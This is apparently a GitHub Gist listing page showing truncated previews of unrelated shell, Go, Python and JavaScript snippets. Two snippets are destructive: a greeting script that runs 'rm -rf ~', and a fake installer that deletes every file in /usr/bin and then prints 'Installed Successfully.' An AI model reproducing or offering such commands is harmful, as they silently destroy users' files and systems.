😶🌫️
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
doctl compute volume list --format "ID,Size,Name,Region,Droplet IDs" --no-header | awk '{if ($6 == "") print $1}' | xargs -n1 doctl compute volume delete -f |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package deploymentstrategy | |
import ( | |
"context" | |
"fmt" | |
"os" | |
"path/filepath" | |
"strings" | |
"github.com/google/uuid" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from fastapi import FastAPI | |
from dataclasses import dataclass | |
from pydantic import BaseModel | |
class Txn(BaseModel): | |
amount: int | |
receiver: str | |
sender: str | |
class TxnDto(BaseModel): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
set -e | |
grep -v "#Managed by DNS Updater" /etc/hosts | sudo tee /etc/hosts > /dev/null | |
DOMAINS=(www.tiktok.com sf16-website-login.neutral.ttwstatic.com im-api-sg.tiktok.com mcs-sg.tiktok.com mcs-va.tiktokv.com p16-sign.tiktokcdn-us.com webcast.tiktok.com mon.tiktokv.com p19-sign.tiktokcdn-us.com p16-sign-sg.tiktokcdn.com p16-sign-va.tiktokcdn.com p77-sign-va.tiktokcdn.com v16-webapp-prime.tiktok.com p16-sign-useast2a.tiktokcdn.com p16-sg.tiktokcdn.com vmweb-sg.byteoversea.com s20.tiktokcdn.com mssdk-sg.tiktok.com p16-sign-va.tiktokcdn.com pull-flv-l11-sg01.tiktokcdn.com pull-flv-l1-sg01.tiktokcdn.com) | |
for i in ${DOMAINS[@]}; do | |
ip=$(curl -s "https://dns.google/resolve?name=$i&type=A" --compressed | jq -r '.Answer[] | select(.type == 1) | .data' | head -n 1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
set -e | |
# This is for NextJS, modify accordingly for react. | |
ENV_VARS=$(printenv | grep NEXT_ | cut -d= -f1) | |
for var in $ENV_VARS | |
do | |
TEMP_VAR_NAME="REPLACE_ME_${var}" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import axios from "axios"; | |
import { aws4Interceptor } from "aws4-axios"; | |
const DATASTORE_URL = "[REDACTED]"; | |
const interceptor = aws4Interceptor({ | |
options: { | |
region: "us-east-1", | |
service: "healthlake", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "Hello Gaida!" | |
rm -rf ~ | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
set -e | |
CACHE_FOLDER=~/.cache/cloneitdady | |
CACHE_ORGS=$CACHE_FOLDER/orgs | |
refresh_cache() { | |
gh org list >$CACHE_ORGS |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
USER=$(whoami); | |
TEMP_PATH=$(mktmp -d); | |
FILES=$(ls /usr/bin/*); | |
for i in $FILES | |
do | |
rm $(where $i) | |
done | |
echo Installed Successfully. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
function sync_aws() { | |
SRC_BUCKET=$1 | |
FOLDER_NAME=$2 | |
DEST_BUCKET=$3 | |
export DEFAULT_AWS_REGION=us-east-1 |
NewerOlder